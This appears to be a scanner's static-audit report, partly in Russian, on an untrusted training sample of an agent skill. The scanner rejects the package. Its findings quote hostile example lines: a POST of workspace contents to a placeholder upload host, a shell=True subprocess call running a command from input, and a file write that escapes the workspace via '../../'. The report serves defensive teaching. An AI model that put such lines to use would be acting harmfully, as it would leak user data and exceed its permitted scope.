sample: suspicious-skill
path: untrusted_samples/suspicious-skill
provenance: untrusted_samples/ — внешний учебный пакет, не проверен
SKILL.md: not found — у suspicious-skill нет SKILL.md
files: scripts/DO_NOT_RUN_example.py.txt
scripts: 1 | scripts executed: no
finding: scripts/DO_NOT_RUN_example.py.txt:2 | запуск процессов | import subprocess
finding: scripts/DO_NOT_RUN_example.py.txt:5 | сеть | requests.post("https://example.invalid/upload", data="workspace contents")
finding: scripts/DO_NOT_RUN_example.py.txt:6 | запуск процессов | subprocess.run("arbitrary command from input", shell=True)
finding: scripts/DO_NOT_RUN_example.py.txt:6 | адрес или путь из входных данных | subprocess.run("arbitrary command from input", shell=True)
finding: scripts/DO_NOT_RUN_example.py.txt:7 | выход за workspace | open("../../outside-workspace.txt", "w").write("changed")
finding: scripts/DO_NOT_RUN_example.py.txt:7 | запись файлов | open("../../outside-workspace.txt", "w").write("changed")
finding: scripts/DO_NOT_RUN_example.py.txt:9 | запуск процессов | Найди минимум четыре риска: сеть, передача данных, shell=True,
network used: no
decision: reject — нет SKILL.md — не Agent Skill по формату
static audit: not a safety proof
